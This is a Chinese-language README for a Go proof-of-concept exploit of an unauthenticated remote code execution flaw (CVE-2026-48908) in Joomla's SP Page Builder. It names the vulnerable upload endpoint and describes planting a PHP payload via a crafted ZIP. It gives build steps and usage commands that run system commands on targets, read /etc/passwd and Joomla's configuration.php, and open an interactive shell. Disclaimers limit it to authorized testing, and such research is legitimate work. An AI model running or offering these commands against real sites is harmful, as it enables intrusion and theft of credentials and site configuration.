CVE-2026-48908 - SP Page Builder Joomla 未认证远程代码执行
CVE-2026-48908 漏洞的利用验证(PoC)代码,针对 Joomla SP Page Builder 组件的未授权远程代码执行漏洞。
CVE-2026-48908 是一个严重安全漏洞,允许未授权的攻击者在易受攻击的 Joomla 安装上通过 SP Page Builder 组件对 ZIP 文件提取的处理不当来执行任意代码。
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon该漏洞存在于资产上传功能中,应用程序在对包含图标资产的 ZIP 文件进行验证和提取时存在缺陷。攻击者可以构造一个包含 PHP 载荷的恶意 ZIP 文件,该文件将被解压到 Web 可访问目录,从而实现远程代码执行。
golang.org/x/term - 用于安全密码输入的终端工具git clone https://github.com/gagaltotal/CVE-2026-48908-SP-Page-Builder-Joomla
cd CVE-2026-48908-SP-Page-Builder-Joomla
go mod init CVE-2026-48908-SP-Page-Builder-Joomla
go mod download
or
go mod tidy
go build -o poc_tot poc_tot.go
编译好的二进制文件可在发布页面获取。


./poc_tot -target http://target-site.com -cmd "whoami"
./poc_tot -target http://target-site.com -shell
./poc_tot -target http://target-site.com -check
./poc_tot -target http://target-site.com -cleanup
./poc_tot -target http://target-site.com -cmd "id" -token "your_joomla_token"
-target string
易受攻击的 Joomla 安装的目标 URL(必需)
示例:http://target.com 或 https://target.com
-cmd string
在目标上执行的系统命令
示例:"cat /etc/passwd"
-shell
在目标上启动交互式 shell(需要成功利用)
-check
检查目标是否易受攻击,而不尝试利用
-cleanup
从目标中移除上传的 shell 和残留文件
-token string
用于利用的 CSRF 令牌(可选,如果未提供则自动检测)
该工具支持多种利用向量:
./poc_tot -target http://vulnerable.local -check
./poc_tot -target http://vulnerable.local -cmd "ls -la /var/www/html"
./poc_tot -target http://vulnerable.local -cmd "cat configuration.php"
./poc_tot -target http://vulnerable.local -shell
# 在 shell 中:
> id
> whoami
> pwd
./poc_tot -target http://vulnerable.local -cleanup
如果您正在运行带有 SP Page Builder 组件的 Joomla:
本软件仅供教育和授权的安全测试用途。未经授权访问计算机系统是非法的。作者不对因使用此工具造成的误用或损害承担责任。用户有责任确保在使用此工具于任何目标系统之前获得适当的授权。
使用此工具即表示您确认:
此工具仅用于防御性安全研究和授权的渗透测试。未经授权访问计算机系统违反《计算机欺诈与滥用法》及其他司法管辖区的类似法律。在进行安全测试之前,务必以书面形式获得适当的授权。
index.php?option=com_installer&view=manage欢迎安全研究人员参与贡献。请:
GhostGTR666 (Gagaltotal666)
如有问题、疑问或贡献:
本项目按原样提供,仅供安全研究使用。请查阅当地关于安全工具和渗透测试的法律法规。
最后更新: 2026-06-24
免责声明: 此工具仅供授权的安全测试使用。未经授权访问计算机系统是非法的。